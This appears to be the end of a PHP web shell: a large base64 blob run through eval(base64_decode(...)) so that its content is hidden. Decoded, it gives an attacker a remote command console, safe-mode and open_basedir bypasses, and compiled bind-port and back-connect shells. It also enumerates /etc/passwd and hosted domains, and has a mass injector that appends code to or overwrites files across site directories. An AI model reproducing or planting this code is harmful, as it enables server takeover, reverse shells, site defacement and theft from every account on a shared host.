ICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jcmVkPjx0cj48dGQgYmdjb2xvcj1yZWQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVja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oIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWtmaWxlJzoKICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgewogICAgJHRlbXA9Jyc7CiAgICBvYl9zdGFydCgpOwogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgewogICAgICAgIGNhc2UgMToKICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOwogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpewogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOwogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMzoKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7CiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDQ6CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNToKICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBpZiAoJHVpZCkKICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA2OgogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsKICAgICAgICAgICAgJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7CiAgICAgICAgICAgIGlmICgkc3RyZWFtID09IEZBTFNFKQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOwogICAgICAgICAgICBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogICAgICAgICAgICBicmVhazsKICAgIH0KICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybS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wcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpICAgIHsKICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKICAgICAgICAgICAgICAgIGVjaG8gImRvY3VtZW50Lm1mLmMudmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOwogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwoKZWNobyAnPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CiAgICBpZihuID09IDM4KSB7CiAgICAgICAgY3VyLS07CiAgICAgICAgaWYoY3VyPj0wKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXIrKzsKICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgY3VyKys7CiAgICAgICAgaWYoY3VyIDwgY21kcy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U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyA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IHsKICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7CiAgICAgICAgICAgICRjb25mID0gYXJyYXkoKTsKICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICBmb3JlYWNoKCRwYXNzd2QgYXMgJHApIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJHApOwogICAgICAgICAgICAgICAgJGRpcnogPSAkcls1XS4nL3B1YmxpY19odG1sLyc7CiAgICAgICAgICAgICAgICBpZihzdHJwb3MoJHJbNV0sJ2hvbWUnKSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCRyWzBdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+IjsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHB1YiBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgIC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KICAgICAgICAgICAgZm9yZWFjaCgkdG1wMSBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAyID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMiA9IGFycmF5X21lcmdlKCR0bXAyLCAkdHAyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAyKTsgfQogICAgICAgIH0KICAgICAgICBpZihpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMiBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAzID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMyA9IGFycmF5X21lcmdlKCR0bXAzLCAkdHAzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzOwogICAgfQoKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmICRfUE9TVFsnc3VibWl0J109PSdJbmplY3QnKSB7CiAgICAgICAgJG5hbWUgPSAkX1BPU1RbJ25hbWUnXSA/ICRfUE9TVFsnbmFtZSddIDogJyonOwogICAgICAgICR0eXBlID0gJF9QT1NUWyd0eXBlJ10gPyAkX1BPU1RbJ3R5cGUnXSA6ICdodG1sJzsKICAgICAgICAkcGF0aCA9ICRfUE9TVFsncGF0aCddID8gJF9QT1NUWydwYXRoJ10gOiBnZXRjd2QoKTsKICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddID8gJF9QT1NUWydjb2RlJ10gOiAnUGFraXN0YW4gSGF4b3JzIENyZXcnOwogICAgICAgICRtb2RlID0gJF9QT1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AgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gICAgICAgIAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RGlyZWN0b3J5IDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy5nZXRjd2QoKS4nIiBzaXplPSI1MCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPk1vZGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhIj5BcGVuZGVyPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkZpbGUgTmFtZSAmIFR5cGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im5hbWUiIHZhbHVlPSIqIi8+Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJ0eXBlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bSI+SFRNPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+UEhQPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3AiPkFTUDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNweCI+QVNQWDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InR4dCI+VFhUPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkNvZGUgSW5qZWN0IERlcHRoIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMCIgY2hlY2tlZD0iY2hlY2tlZCIvPiZuYnNwOzAmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjEiLz4mbmJzcDsxJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIyIi8+Jm5ic3A7MiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMyIvPiZuYnNwOzMKICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIG5hbWU9ImNvZGUiIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9ImJveCI+PC90ZXh0YXJlYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IkluamVjdG9yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJwYWRkaW5nIDo1cHg7IHdpZHRoOjEwMHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCgogZnVuY3Rpb24gYWN0aW9uRG9tYWluKCkgewogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAokZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA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AgICRjb3VudCA9IDE7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOwogICAgICAgICRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlICAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5JIHRoaW5rIHlvdSBoYXZlIGdvdCBzb21ldGhpbmcgdGhpcyB0aW1lIHllYWghISEuPC90ZD48L3RyPgo8dHI+PHRkPk5vPC90ZD48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsKCiAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7CiAgICAgICAgZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogICAgIH0KfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkKICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCgo/Pg==";
eval("?>".(base64_decode($smevk)));
?>
